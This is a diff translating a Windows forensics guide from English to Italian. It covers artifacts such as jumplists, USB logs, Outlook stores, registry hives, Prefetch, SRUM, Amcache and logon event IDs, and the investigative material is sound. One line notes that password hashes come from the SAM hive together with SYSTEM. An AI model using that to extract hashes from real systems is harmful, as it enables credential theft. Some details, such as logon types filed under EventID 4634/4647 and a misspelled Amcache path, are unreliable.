jumplist indica **la prima volta che il file è stato accesso** e il **tempo modificato l'ultima volta**. -You can inspect the jumplists using [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). +Puoi ispezionare i jumplists utilizzando [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). ![](<../../../images/image (168).png>) -(_Note that the timestamps provided by JumplistExplorer are related to the jumplist file itself_) +(_Nota che i timestamp forniti da JumplistExplorer sono relativi al file jumplist stesso_) ### Shellbags -[**Follow this link to learn what are the shellbags.**](interesting-windows-registry-keys.md#shellbags) +[**Segui questo link per scoprire cosa sono i shellbags.**](interesting-windows-registry-keys.md#shellbags) -## Use of Windows USBs +## Uso delle USB di Windows -It's possible to identify that a USB device was used thanks to the creation of: +È possibile identificare che un dispositivo USB è stato utilizzato grazie alla creazione di: -- Windows Recent Folder -- Microsoft Office Recent Folder +- Cartella Recenti di Windows +- Cartella Recenti di Microsoft Office - Jumplists -Note that some LNK file instead of pointing to the original path, points to the WPDNSE folder: +Nota che alcuni file LNK invece di puntare al percorso originale, puntano alla cartella WPDNSE: ![](<../../../images/image (218).png>) -The files in the folder WPDNSE are a copy of the original ones, then won't survive a restart of the PC and the GUID is taken from a shellbag. +I file nella cartella WPDNSE sono una copia degli originali, quindi non sopravvivranno a un riavvio del PC e il GUID è preso da un shellbag. -### Registry Information +### Informazioni sul Registro -[Check this page to learn](interesting-windows-registry-keys.md#usb-information) which registry keys contain interesting information about USB connected devices. +[Controlla questa pagina per scoprire](interesting-windows-registry-keys.md#usb-information) quali chiavi di registro contengono informazioni interessanti sui dispositivi USB connessi. ### setupapi -Check the file `C:\Windows\inf\setupapi.dev.log` to get the timestamps about when the USB connection was produced (search for `Section start`). +Controlla il file `C:\Windows\inf\setupapi.dev.log` per ottenere i timestamp su quando è stata effettuata la connessione USB (cerca `Section start`). -![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>) +![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>) ### USB Detective -[**USBDetective**](https://usbdetective.com) can be used to obtain information about the USB devices that have been connected to an image. +[**USBDetective**](https://usbdetective.com) può essere utilizzato per ottenere informazioni sui dispositivi USB che sono stati connessi a un'immagine. ![](<../../../images/image (452).png>) -### Plug and Play Cleanup +### Pulizia Plug and Play -The scheduled task known as 'Plug and Play Cleanup' is primarily designed for the removal of outdated driver versions. Contrary to its specified purpose of retaining the latest driver package version, online sources suggest it also targets drivers that have been inactive for 30 days. Consequently, drivers for removable devices not connected in the past 30 days may be subject to deletion. +Il compito programmato noto come 'Pulizia Plug and Play' è principalmente progettato per la rimozione di versioni di driver obsolete. Contrariamente al suo scopo specificato di mantenere l'ultima versione del pacchetto driver, fonti online suggeriscono che miri anche a driver che sono stati inattivi per 30 giorni. Di conseguenza, i driver per dispositivi rimovibili non connessi negli ultimi 30 giorni potrebbero essere soggetti a cancellazione. -The task is located at the following path: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. +Il compito si trova al seguente percorso: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. -A screenshot depicting the task's content is provided: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) +Uno screenshot che mostra il contenuto del compito è fornito: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) -**Key Components and Settings of the Task:** +**Componenti chiave e impostazioni del compito:** -- **pnpclean.dll**: This DLL is responsible for the actual cleanup process. -- **UseUnifiedSchedulingEngine**: Set to `TRUE`, indicating the use of the generic task scheduling engine. +- **pnpclean.dll**: Questo DLL è responsabile del processo di pulizia effettivo. +- **UseUnifiedSchedulingEngine**: Impostato su `TRUE`, indica l'uso del motore di pianificazione dei compiti generico. - **MaintenanceSettings**: - - **Period ('P1M')**: Directs the Task Scheduler to initiate the cleanup task monthly during regular Automatic maintenance. - - **Deadline ('P2M')**: Instructs the Task Scheduler, if the task fails for two consecutive months, to execute the task during emergency Automatic maintenance. +- **Period ('P1M')**: Indica al Task Scheduler di avviare il compito di pulizia mensilmente durante la manutenzione automatica regolare. +- **Deadline ('P2M')**: Istruisce il Task Scheduler, se il compito fallisce per due mesi consecutivi, ad eseguire il compito durante la manutenzione automatica di emergenza. -This configuration ensures regular maintenance and cleanup of drivers, with provisions for reattempting the task in case of consecutive failures. +Questa configurazione garantisce una manutenzione regolare e la pulizia dei driver, con disposizioni per riprovare il compito in caso di fallimenti consecutivi. -**For more information check:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) +**Per ulteriori informazioni controlla:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) -## Emails +## Email -Emails contain **2 interesting parts: The headers and the content** of the email. In the **headers** you can find information like: +Le email contengono **2 parti interessanti: le intestazioni e il contenuto** dell'email. Nelle **intestazioni** puoi trovare informazioni come: -- **Who** sent the emails (email address, IP, mail servers that have redirected the email) -- **When** was the email sent +- **Chi** ha inviato le email (indirizzo email, IP, server di posta che hanno reindirizzato l'email) +- **Quando** è stata inviata l'email -Also, inside the `References` and `In-Reply-To` headers you can find the ID of the messages: +Inoltre, all'interno delle intestazioni `References` e `In-Reply-To` puoi trovare l'ID dei messaggi: ![](<../../../images/image (593).png>) -### Windows Mail App +### App di posta di Windows -This application saves emails in HTML or text. You can find the emails inside subfolders inside `\Users\\AppData\Local\Comms\Unistore\data\3\`. The emails are saved with the `.dat` extension. +Questa applicazione salva le email in HTML o testo. Puoi trovare le email all'interno delle sottocartelle in `\Users\\AppData\Local\Comms\Unistore\data\3\`. Le email sono salvate con l'estensione `.dat`. -The **metadata** of the emails and the **contacts** can be found inside the **EDB database**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` +I **metadati** delle email e i **contatti** possono essere trovati all'interno del **database EDB**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` -**Change the extension** of the file from `.vol` to `.edb` and you can use the tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) to open it. Inside the `Message` table you can see the emails. +**Cambia l'estensione** del file da `.vol` a `.edb` e puoi utilizzare lo strumento [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) per aprirlo. All'interno della tabella `Message` puoi vedere le email. ### Microsoft Outlook -When Exchange servers or Outlook clients are used there are going to be some MAPI headers: +Quando vengono utilizzati server Exchange o client Outlook, ci saranno alcune intestazioni MAPI: -- `Mapi-Client-Submit-Time`: Time of the system when the email was sent -- `Mapi-Conversation-Index`: Number of children messages of the thread and timestamp of each message of the thread -- `Mapi-Entry-ID`: Message identifier. -- `Mappi-Message-Flags` and `Pr_last_Verb-Executed`: Information about the MAPI client (message read? no read? responded? redirected? out of the office?) +- `Mapi-Client-Submit-Time`: Ora del sistema quando l'email è stata inviata +- `Mapi-Conversation-Index`: Numero di messaggi figli del thread e timestamp di ciascun messaggio del thread +- `Mapi-Entry-ID`: Identificatore del messaggio. +- `Mappi-Message-Flags` e `Pr_last_Verb-Executed`: Informazioni sul client MAPI (messaggio letto? non letto? risposto? reindirizzato? fuori ufficio?) -In the Microsoft Outlook client, all the sent/received messages, contacts data, and calendar data are stored in a PST file in: +Nel client Microsoft Outlook, tutti i messaggi inviati/ricevuti, i dati dei contatti e i dati del calendario sono memorizzati in un file PST in: - `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP) - `%USERPROFILE%\AppData\Local\Microsoft\Outlook` -The registry path `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indicates the file that is being used. +Il percorso del registro `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indica il file che viene utilizzato. -You can open the PST file using the tool [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html). +Puoi aprire il file PST utilizzando lo strumento [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html). ![](<../../../images/image (498).png>) -### Microsoft Outlook OST Files +### File OST di Microsoft Outlook -An **OST file** is generated by Microsoft Outlook when it's configured with **IMAP** or an **Exchange** server, storing similar information to a PST file. This file is synchronized with the server, retaining data for **the last 12 months** up to a **maximum size of 50GB**, and is located in the same directory as the PST file. To view an OST file, the [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html) can be utilized. +Un **file OST** viene generato da Microsoft Outlook quando è configurato con **IMAP** o un server **Exchange**, memorizzando informazioni simili a un file PST. Questo file è sincronizzato con il server, mantenendo i dati per **gli ultimi 12 mesi** fino a un **massimo di 50GB**, ed è situato nella stessa directory del file PST. Per visualizzare un file OST, può essere utilizzato il [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html). -### Retrieving Attachments +### Recupero degli Allegati -Lost attachments might be recoverable from: +Allegati persi potrebbero essere recuperabili da: -- For **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -- For **IE11 and above**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` +- Per **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` +- Per **IE11 e versioni superiori**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` -### Thunderbird MBOX Files +### File MBOX di Thunderbird -**Thunderbird** utilizes **MBOX files** to store data, located at `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`. +**Thunderbird** utilizza **file MBOX** per memorizzare i dati, situati in `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`. -### Image Thumbnails +### Miniature delle Immagini -- **Windows XP and 8-8.1**: Accessing a folder with thumbnails generates a `thumbs.db` file storing image previews, even after deletion. -- **Windows 7/10**: `thumbs.db` is created when accessed over a network via UNC path. -- **Windows Vista and newer**: Thumbnail previews are centralized in `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` with files named **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) and [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) are tools for viewing these files. +- **Windows XP e 8-8.1**: Accedere a una cartella con miniature genera un file `thumbs.db` che memorizza le anteprime delle immagini, anche dopo la cancellazione. +- **Windows 7/10**: `thumbs.db` viene creato quando viene accesso tramite una rete tramite percorso UNC. +- **Windows Vista e versioni successive**: Le anteprime delle miniature sono centralizzate in `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` con file denominati **thumbcache_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) e [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) sono strumenti per visualizzare questi file. -### Windows Registry Information +### Informazioni sul Registro di Windows -The Windows Registry, storing extensive system and user activity data, is contained within files in: +Il Registro di Windows, che memorizza un'ampia gamma di dati sulle attività di sistema e utente, è contenuto all'interno di file in: -- `%windir%\System32\Config` for various `HKEY_LOCAL_MACHINE` subkeys. -- `%UserProfile%{User}\NTUSER.DAT` for `HKEY_CURRENT_USER`. -- Windows Vista and later versions back up `HKEY_LOCAL_MACHINE` registry files in `%Windir%\System32\Config\RegBack\`. -- Additionally, program execution information is stored in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` from Windows Vista and Windows 2008 Server onwards. +- `%windir%\System32\Config` per vari sottochiavi `HKEY_LOCAL_MACHINE`. +- `%UserProfile%{User}\NTUSER.DAT` per `HKEY_CURRENT_USER`. +- Windows Vista e versioni successive eseguono il backup dei file di registro `HKEY_LOCAL_MACHINE` in `%Windir%\System32\Config\RegBack\`. +- Inoltre, le informazioni sull'esecuzione dei programmi sono memorizzate in `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` a partire da Windows Vista e Windows 2008 Server. -### Tools +### Strumenti -Some tools are useful to analyze the registry files: +Alcuni strumenti sono utili per analizzare i file di registro: -- **Registry Editor**: It's installed in Windows. It's a GUI to navigate through the Windows registry of the current session. -- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): It allows you to load the registry file and navigate through them with a GUI. It also contains Bookmarks highlighting keys with interesting information. -- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Again, it has a GUI that allows to navigate through the loaded registry and also contains plugins that highlight interesting information inside the loaded registry. -- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Another GUI application capable of extracting the important information from the registry loaded. +- **Editor del Registro**: È installato in Windows. È un'interfaccia grafica per navigare attraverso il registro di Windows della sessione corrente. +- [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): Ti consente di caricare il file di registro e navigare attraverso di esso con un'interfaccia grafica. Contiene anche segnalibri che evidenziano le chiavi con informazioni interessanti. +- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Ancora, ha un'interfaccia grafica che consente di navigare attraverso il registro caricato e contiene anche plugin che evidenziano informazioni interessanti all'interno del registro caricato. +- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Un'altra applicazione GUI in grado di estrarre le informazioni importanti dal registro caricato. -### Recovering Deleted Element +### Recupero di Elementi Cancellati -When a key is deleted it's marked as such, but until the space it's occupying is needed it won't be removed. Therefore, using tools like **Registry Explorer** it's possible to recover these deleted keys. +Quando una chiave viene eliminata, viene contrassegnata come tale, ma fino a quando lo spazio che occupa non è necessario, non verrà rimossa. Pertanto, utilizzando strumenti come **Registry Explorer** è possibile recuperare queste chiavi eliminate. -### Last Write Time +### Ultimo Tempo di Scrittura -Each Key-Value contains a **timestamp** indicating the last time it was modified. +Ogni Chiave-Valore contiene un **timestamp** che indica l'ultima volta che è stata modificata. ### SAM -The file/hive **SAM** contains the **users, groups and users passwords** hashes of the system. +Il file/hive **SAM** contiene gli **hash delle password degli utenti, dei gruppi e degli utenti** del sistema. -In `SAM\Domains\Account\Users` you can obtain the username, the RID, last login, last failed logon, login counter, password policy and when the account was created. To get the **hashes** you also **need** the file/hive **SYSTEM**. +In `SAM\Domains\Account\Users` puoi ottenere il nome utente, il RID, l'ultimo accesso, l'ultimo accesso non riuscito, il contatore di accesso, la politica delle password e quando è stato creato l'account. Per ottenere gli **hash** hai anche **bisogno** del file/hive **SYSTEM**. -### Interesting entries in the Windows Registry +### Voci Interessanti nel Registro di Windows {{#ref}} interesting-windows-registry-keys.md {{#endref}} -## Programs Executed +## Programmi Eseguiti -### Basic Windows Processes +### Processi Windows di Base -In [this post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) you can learn about the common Windows processes to detect suspicious behaviours. +In [questo post](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) puoi scoprire i processi Windows comuni per rilevare comportamenti sospetti. -### Windows Recent APPs +### APP Recenti di Windows -Inside the registry `NTUSER.DAT` in the path `Software\Microsoft\Current Version\Search\RecentApps` you can subkeys with information about the **application executed**, **last time** it was executed, and **number of times** it was launched. +All'interno del registro `NTUSER.DAT` nel percorso `Software\Microsoft\Current Version\Search\RecentApps` puoi trovare sottochiavi con informazioni sull'**applicazione eseguita**, **ultima volta** che è stata eseguita e **numero di volte** che è stata avviata. -### BAM (Background Activity Moderator) +### BAM (Moderatore di Attività in Background) -You can open the `SYSTEM` file with a registry editor and inside the path `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` you can find the information about the **applications executed by each user** (note the `{SID}` in the path) and at **what time** they were executed (the time is inside the Data value of the registry). +Puoi aprire il file `SYSTEM` con un editor di registro e all'interno del percorso `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` puoi trovare informazioni sulle **applicazioni eseguite da ciascun utente** (nota il `{SID}` nel percorso) e **a che ora** sono state eseguite (l'ora è all'interno del valore Data del registro). -### Windows Prefetch +### Prefetch di Windows -Prefetching is a technique that allows a computer to silently **fetch the necessary resources needed to display content** that a user **might access in the near future** so resources can be accessed quicker. +Il prefetching è una tecnica che consente a un computer di **recuperare silenziosamente le risorse necessarie per visualizzare contenuti** a cui un utente **potrebbe accedere nel prossimo futuro** in modo che le risorse possano essere accessibili più rapidamente. -Windows prefetch consists of creating **caches of the executed programs** to be able to load them faster. These caches as created as `.pf` files inside the path: `C:\Windows\Prefetch`. There is a limit of 128 files in XP/VISTA/WIN7 and 1024 files in Win8/Win10. +Il prefetch di Windows consiste nella creazione di **cache dei programmi eseguiti** per poterli caricare più velocemente. Queste cache vengono create come file `.pf` all'interno del percorso: `C:\Windows\Prefetch`. C'è un limite di 128 file in XP/VISTA/WIN7 e 1024 file in Win8/Win10. -The file name is created as `{program_name}-{hash}.pf` (the hash is based on the path and arguments of the executable). In W10 these files are compressed. Do note that the sole presence of the file indicates that **the program was executed** at some point. +Il nome del file è creato come `{program_name}-{hash}.pf` (l'hash è basato sul percorso e sugli argomenti dell'eseguibile). In W10 questi file sono compressi. Nota che la sola presenza del file indica che **il programma è stato eseguito** a un certo punto. -The file `C:\Windows\Prefetch\Layout.ini` contains the **names of the folders of the files that are prefetched**. This file contains **information about the number of the executions**, **dates** of the execution and **files** **open** by the program. - -To inspect these files you can use the tool [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): +Il file `C:\Windows\Prefetch\Layout.ini` contiene i **nomi delle cartelle dei file che sono stati prelevati**. Questo file contiene **informazioni sul numero delle esecuzioni**, **date** di esecuzione e **file** **aperti** dal programma. +Per ispezionare questi file puoi utilizzare lo strumento [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): ```bash .\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" ``` - ![](<../../../images/image (315).png>) ### Superprefetch -**Superprefetch** has the same goal as prefetch, **load programs faster** by predicting what is going to be loaded next. However, it doesn't substitute the prefetch service.\ -This service will generate database files in `C:\Windows\Prefetch\Ag*.db`. +**Superprefetch** ha lo stesso obiettivo del prefetch, **caricare i programmi più velocemente** prevedendo cosa verrà caricato successivamente. Tuttavia, non sostituisce il servizio di prefetch.\ +Questo servizio genererà file di database in `C:\Windows\Prefetch\Ag*.db`. -In these databases you can find the **name** of the **program**, **number** of **executions**, **files** **opened**, **volume** **accessed**, **complete** **path**, **timeframes** and **timestamps**. +In questi database puoi trovare il **nome** del **programma**, il **numero** di **esecuzioni**, i **file** **aperti**, il **volume** **accessed**, il **percorso** **completo**, i **tempi** e i **timestamp**. -You can access this information using the tool [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). +Puoi accedere a queste informazioni utilizzando lo strumento [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). ### SRUM -**System Resource Usage Monitor** (SRUM) **monitors** the **resources** **consumed** **by a process**. It appeared in W8 and it stores the data in an ESE database located in `C:\Windows\System32\sru\SRUDB.dat`. +**System Resource Usage Monitor** (SRUM) **monitora** le **risorse** **consumate** **da un processo**. È apparso in W8 e memorizza i dati in un database ESE situato in `C:\Windows\System32\sru\SRUDB.dat`. -It gives the following information: +Fornisce le seguenti informazioni: -- AppID and Path -- User that executed the process -- Sent Bytes -- Received Bytes -- Network Interface -- Connection duration -- Process duration +- AppID e Percorso +- Utente che ha eseguito il processo +- Byte inviati +- Byte ricevuti +- Interfaccia di rete +- Durata della connessione +- Durata del processo -This information is updated every 60 mins. - -You can obtain the date from this file using the tool [**srum_dump**](https://github.com/MarkBaggett/srum-dump). +Queste informazioni vengono aggiornate ogni 60 minuti. +Puoi ottenere la data da questo file utilizzando lo strumento [**srum_dump**](https://github.com/MarkBaggett/srum-dump). ```bash .\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum ``` - ### AppCompatCache (ShimCache) -The **AppCompatCache**, also known as **ShimCache**, forms a part of the **Application Compatibility Database** developed by **Microsoft** to tackle application compatibility issues. This system component records various pieces of file metadata, which include: +Il **AppCompatCache**, noto anche come **ShimCache**, fa parte del **Database di Compatibilità delle Applicazioni** sviluppato da **Microsoft** per affrontare problemi di compatibilità delle applicazioni. Questo componente di sistema registra vari pezzi di metadati dei file, che includono: -- Full path of the file -- Size of the file -- Last Modified time under **$Standard_Information** (SI) -- Last Updated time of the ShimCache -- Process Execution Flag +- Percorso completo del file +- Dimensione del file +- Ultima data di modifica sotto **$Standard_Information** (SI) +- Ultima data di aggiornamento dello ShimCache +- Flag di esecuzione del processo -Such data is stored within the registry at specific locations based on the version of the operating system: +Tali dati sono memorizzati nel registro in posizioni specifiche in base alla versione del sistema operativo: -- For XP, the data is stored under `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` with a capacity for 96 entries. -- For Server 2003, as well as for Windows versions 2008, 2012, 2016, 7, 8, and 10, the storage path is `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, accommodating 512 and 1024 entries, respectively. +- Per XP, i dati sono memorizzati sotto `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` con una capacità di 96 voci. +- Per Server 2003, così come per le versioni di Windows 2008, 2012, 2016, 7, 8 e 10, il percorso di archiviazione è `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, che accoglie rispettivamente 512 e 1024 voci. -To parse the stored information, the [**AppCompatCacheParser** tool](https://github.com/EricZimmerman/AppCompatCacheParser) is recommended for use. +Per analizzare le informazioni memorizzate, si consiglia di utilizzare lo strumento [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser). ![](<../../../images/image (75).png>) ### Amcache -The **Amcache.hve** file is essentially a registry hive that logs details about applications that have been executed on a system. It is typically found at `C:\Windows\AppCompat\Programas\Amcache.hve`. +Il file **Amcache.hve** è essenzialmente un hive del registro che registra dettagli sulle applicazioni che sono state eseguite su un sistema. Si trova tipicamente in `C:\Windows\AppCompat\Programas\Amcache.hve`. -This file is notable for storing records of recently executed processes, including the paths to the executable files and their SHA1 hashes. This information is invaluable for tracking the activity of applications on a system. - -To extract and analyze the data from **Amcache.hve**, the [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) tool can be used. The following command is an example of how to use AmcacheParser to parse the contents of the **Amcache.hve** file and output the results in CSV format: +Questo file è notevole per memorizzare registrazioni dei processi eseguiti di recente, inclusi i percorsi ai file eseguibili e i loro hash SHA1. Queste informazioni sono preziose per tracciare l'attività delle applicazioni su un sistema. +Per estrarre e analizzare i dati da **Amcache.hve**, si può utilizzare lo strumento [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser). Il seguente comando è un esempio di come utilizzare AmcacheParser per analizzare i contenuti del file **Amcache.hve** e restituire i risultati in formato CSV: ```bash AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder ``` +Tra i file CSV generati, il `Amcache_Unassociated file entries` è particolarmente degno di nota per le ricche informazioni che fornisce sulle voci di file non associate. -Among the generated CSV files, the `Amcache_Unassociated file entries` is particularly noteworthy due to the rich information it provides about unassociated file entries. - -The most interesting CVS file generated is the `Amcache_Unassociated file entries`. +Il file CVS più interessante generato è il `Amcache_Unassociated file entries`. ### RecentFileCache -This artifact can only be found in W7 in `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` and it contains information about the recent execution of some binaries. +Questo artefatto può essere trovato solo in W7 in `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` e contiene informazioni sull'esecuzione recente di alcuni binari. -You can use the tool [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) to parse the file. +Puoi utilizzare lo strumento [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) per analizzare il file. ### Scheduled tasks -You can extract them from `C:\Windows\Tasks` or `C:\Windows\System32\Tasks` and read them as XML. +Puoi estrarli da `C:\Windows\Tasks` o `C:\Windows\System32\Tasks` e leggerli come XML. ### Services -You can find them in the registry under `SYSTEM\ControlSet001\Services`. You can see what is going to be executed and when. +Puoi trovarli nel registro sotto `SYSTEM\ControlSet001\Services`. Puoi vedere cosa verrà eseguito e quando. ### **Windows Store** -The installed applications can be found in `\ProgramData\Microsoft\Windows\AppRepository\`\ -This repository has a **log** with **each application installed** in the system inside the database **`StateRepository-Machine.srd`**. +Le applicazioni installate possono essere trovate in `\ProgramData\Microsoft\Windows\AppRepository\`\ +Questo repository ha un **log** con **ogni applicazione installata** nel sistema all'interno del database **`StateRepository-Machine.srd`**. -Inside the Application table of this database, it's possible to find the columns: "Application ID", "PackageNumber", and "Display Name". These columns have information about pre-installed and installed applications and it can be found if some applications were uninstalled because the IDs of installed applications should be sequential. +All'interno della tabella Applicazione di questo database, è possibile trovare le colonne: "Application ID", "PackageNumber" e "Display Name". Queste colonne contengono informazioni sulle applicazioni pre-installate e installate e possono indicare se alcune applicazioni sono state disinstallate, poiché gli ID delle applicazioni installate dovrebbero essere sequenziali. -It's also possible to **find installed application** inside the registry path: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ -And **uninstalled** **applications** in: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` +È anche possibile **trovare applicazioni installate** all'interno del percorso del registro: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ +E **applicazioni disinstallate** in: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` ## Windows Events -Information that appears inside Windows events are: +Le informazioni che appaiono all'interno degli eventi di Windows sono: -- What happened +- Cosa è successo - Timestamp (UTC + 0) -- Users involved -- Hosts involved (hostname, IP) -- Assets accessed (files, folder, printer, services) +- Utenti coinvolti +- Host coinvolti (hostname, IP) +- Risorse accessibili (file, cartella, stampante, servizi) -The logs are located in `C:\Windows\System32\config` before Windows Vista and in `C:\Windows\System32\winevt\Logs` after Windows Vista. Before Windows Vista, the event logs were in binary format and after it, they are in **XML format** and use the **.evtx** extension. +I log si trovano in `C:\Windows\System32\config` prima di Windows Vista e in `C:\Windows\System32\winevt\Logs` dopo Windows Vista. Prima di Windows Vista, i log degli eventi erano in formato binario e dopo sono in **formato XML** e utilizzano l'estensione **.evtx**. -The location of the event files can be found in the SYSTEM registry in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** +La posizione dei file di evento può essere trovata nel registro SYSTEM in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** -They can be visualized from the Windows Event Viewer (**`eventvwr.msc`**) or with other tools like [**Event Log Explorer**](https://eventlogxp.com) **or** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** +Possono essere visualizzati dal Visualizzatore eventi di Windows (**`eventvwr.msc`**) o con altri strumenti come [**Event Log Explorer**](https://eventlogxp.com) **o** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** ## Understanding Windows Security Event Logging -Access events are recorded in the security configuration file located at `C:\Windows\System32\winevt\Security.evtx`. This file's size is adjustable, and when its capacity is reached, older events are overwritten. Recorded events include user logins and logoffs, user actions, and changes to security settings, as well as file, folder, and shared asset access. +Gli eventi di accesso sono registrati nel file di configurazione della sicurezza situato in `C:\Windows\System32\winevt\Security.evtx`. La dimensione di questo file è regolabile e, quando la sua capacità è raggiunta, gli eventi più vecchi vengono sovrascritti. Gli eventi registrati includono accessi e disconnessioni degli utenti, azioni degli utenti e modifiche alle impostazioni di sicurezza, nonché accessi a file, cartelle e risorse condivise. ### Key Event IDs for User Authentication: -- **EventID 4624**: Indicates a user successfully authenticated. -- **EventID 4625**: Signals an authentication failure. -- **EventIDs 4634/4647**: Represent user logoff events. -- **EventID 4672**: Denotes login with administrative privileges. +- **EventID 4624**: Indica che un utente si è autenticato con successo. +- **EventID 4625**: Segnala un fallimento di autenticazione. +- **EventIDs 4634/4647**: Rappresentano eventi di disconnessione dell'utente. +- **EventID 4672**: Denota accesso con privilegi amministrativi. #### Sub-types within EventID 4634/4647: -- **Interactive (2)**: Direct user login. -- **Network (3)**: Access to shared folders. -- **Batch (4)**: Execution of batch processes. -- **Service (5)**: Service launches. -- **Proxy (6)**: Proxy authentication. -- **Unlock (7)**: Screen unlocked with a password. -- **Network Cleartext (8)**: Clear text password transmission, often from IIS. -- **New Credentials (9)**: Usage of different credentials for access. -- **Remote Interactive (10)**: Remote desktop or terminal services login. -- **Cache Interactive (11)**: Login with cached credentials without domain controller contact. -- **Cache Remote Interactive (12)**: Remote login with cached credentials. -- **Cached Unlock (13)**: Unlocking with cached credentials. +- **Interactive (2)**: Accesso diretto dell'utente. +- **Network (3)**: Accesso a cartelle condivise. +- **Batch (4)**: Esecuzione di processi batch. +- **Service (5)**: Avvii di servizi. +- **Proxy (6)**: Autenticazione proxy. +- **Unlock (7)**: Schermo sbloccato con una password. +- **Network Cleartext (8)**: Trasmissione di password in chiaro, spesso da IIS. +- **New Credentials (9)**: Utilizzo di credenziali diverse per l'accesso. +- **Remote Interactive (10)**: Accesso remoto tramite desktop o servizi terminali. +- **Cache Interactive 